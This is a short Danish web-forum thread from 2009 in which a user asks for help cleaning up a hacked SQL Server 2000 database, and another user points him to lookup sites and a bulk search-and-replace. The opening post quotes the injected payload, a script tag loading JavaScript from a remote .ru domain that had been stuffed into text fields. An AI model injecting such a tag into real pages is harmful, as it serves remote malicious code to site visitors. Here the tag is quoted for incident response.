Teknik, hosting & e-handelsløsninger

Svar: Oprydning efter hacking

Niels Henriksen — Mon, 05 Oct 2009 08:29:49 GMT

Simon Tørring:
men tjek det på google, Milw0rm og spamhaus

På Google fandt jeg en masse andre sider som også har været inficeret af det. På de andre sider du snakker om har jeg ikke kunne finde info om det.

Svar: Oprydning efter hacking

Anonymous — Sat, 03 Oct 2009 19:07:04 GMT

Hej Niels

Sidder selv med noget lignende, dog i en mildere form. Jeg har ikke hørt om scriptet der, men tjek det på google, Milw0rm og spamhaus.

MvH

Simon Tørring

PS - eventuelt kan du hive hele databasen ned, åbne en fil med notepad++ og sætte den til at køre en "søg og erstat" på hele mappen. Man skal vel næsten se filerne, for at få det rette overblik :)

Oprydning efter hacking

Niels Henriksen — Sat, 03 Oct 2009 19:03:29 GMT

Jeg har fået en lidt kedelig tjans.... at rydde op efter en hacker.

Jeg har set at der i databasen (en SQL 2000) er lagt følgende kode"<script+src=http:/www.bannerdriven.ru/ads.js></script>" i alle mulige tekstfelter. Jeg er i fuld sving med at rydde op og andre som har ansvaret på teknikken er ved at finde ud af hvordan vi skal få patchet SQL serveren.

Men hvor kan jeg finde info om ovenstående script? Jeg har været inde og hente det javascript og vil lige kigge det igennem. Men er der andre der er stødt på dem?